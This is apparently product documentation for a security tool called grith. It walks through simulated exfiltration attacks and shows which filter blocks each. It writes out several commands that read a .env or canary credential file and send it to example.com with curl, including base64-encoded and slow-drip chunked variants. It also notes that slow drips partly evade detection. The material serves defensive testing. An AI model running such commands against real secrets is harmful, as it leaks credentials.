Exfiltration walkthrough
End-to-end attack and defence: simulating an exfil attempt against a grith install.
This guide walks through a deliberate, controlled exfiltration attempt against a grith install and shows what each filter does to stop it. Useful for understanding the pipeline by example, and for verifying your install is configured correctly.
Setup
Pick a test directory:
mkdir -p /tmp/grith-exfil-test && cd /tmp/grith-exfil-test
Plant a canary:
grith canary add --format aws_secret \
--place ./fake-prod-creds \
--label "exfil-walkthrough"
Plant an env file with shaped credentials (the secret scanner will recognise these patterns; they're not real keys):
cat > .env <<'EOF'
AWS_ACCESS_KEY_ID=AKIA0EXAMPLE0NOT0REAL
AWS_SECRET_ACCESS_KEY=ExampleNotARealSecretKey123456789012345
GITHUB_TOKEN=ghp_EXAMPLE_NOT_A_REAL_TOKEN_123456789
EOF
Now start a supervised shell:
grith exec --profile generic-cli -- bash
Attack 1 — naive curl
The simplest exfil. From inside the supervised shell:
curl -X POST https://example.com/sink -d "@.env"
What grith sees:
file_read .env— sensitive_path filter fires, queue (~+4.5)connect example.com:443— egress_policy fires, unknown destination (+1)sendto example.com:443carrying.envcontent — secret_scan matches AWS credentials shape (+5), DLP gate matches (+4), taint matches (read happened 3 seconds ago, +3) — composite ~13 → DENY
The curl returns connect failure. Audit log records the deny with full filter breakdown.
Attack 2 — encoded exfil
Try to hide it:
base64 .env | xargs -I {} curl -X POST "https://example.com/sink?d={}"
What grith sees:
file_read .env— same as before (+4.5)shell base64— command parser seesbase64+ URL chain, +3connect example.com:443— +1sendtowith URL parameter — DLP gate decodes base64, matches AWS shape (+4), taint (+3) — composite still high → DENY
The base64 encoding doesn't help; the DLP gate decodes one layer.
Attack 3 — canary smuggling
Try to leak the canary:
cat fake-prod-creds | curl -X POST https://example.com/sink -d @-
What grith sees:
file_read fake-prod-creds— queue- (Approved? Doesn't matter for the canary.)
sendto example.com:443carrying the canary value — canary filter triggers DENY, hard gate, no score path → immediate DENY, high-severity audit, paging notifications fire
Attack 4 — slow drip
Spread the read and send across many calls:
for i in 1 2 3 4 5; do
head -c $((i*8)) .env | tail -c 8 | curl -X POST https://example.com/sink -d @-
done
What grith sees:
- Multiple
file_read .env— auto-allowed individually if approved, sensitive_path reduced after the first approval. - Multiple
sendto— each carries 8 bytes, may not match credential patterns individually... - ...but rate_limit caps shell-spawning + network at the defaults; this pattern of fork+curl trips the rate limiter and queues.
- Behavioural anomaly notices the unusual loop pattern + sustained outbound, adds to score.
This pattern usually queues several times during the burst, giving the human a chance to deny + terminate. Doesn't catch the first leak attempt cleanly — that's the trade-off with rate-based detection.
What this demonstrates
- The canary is the strongest single defence. If you suspect exfil risk, plant canaries — they catch attacks the score-based filters might fuzz on.
- Multiple filters compose. Each filter is best at one thing; together they cover a wide attack surface.
- Slow attacks are harder. Sub-rate-limit, sub-cap exfil is the genuine cat-and-mouse case. Behavioural baselines and Pro analytics help.
Cleanup
grith canary remove $(grith canary list | grep exfil-walkthrough | awk '{print $1}')
rm -rf /tmp/grith-exfil-test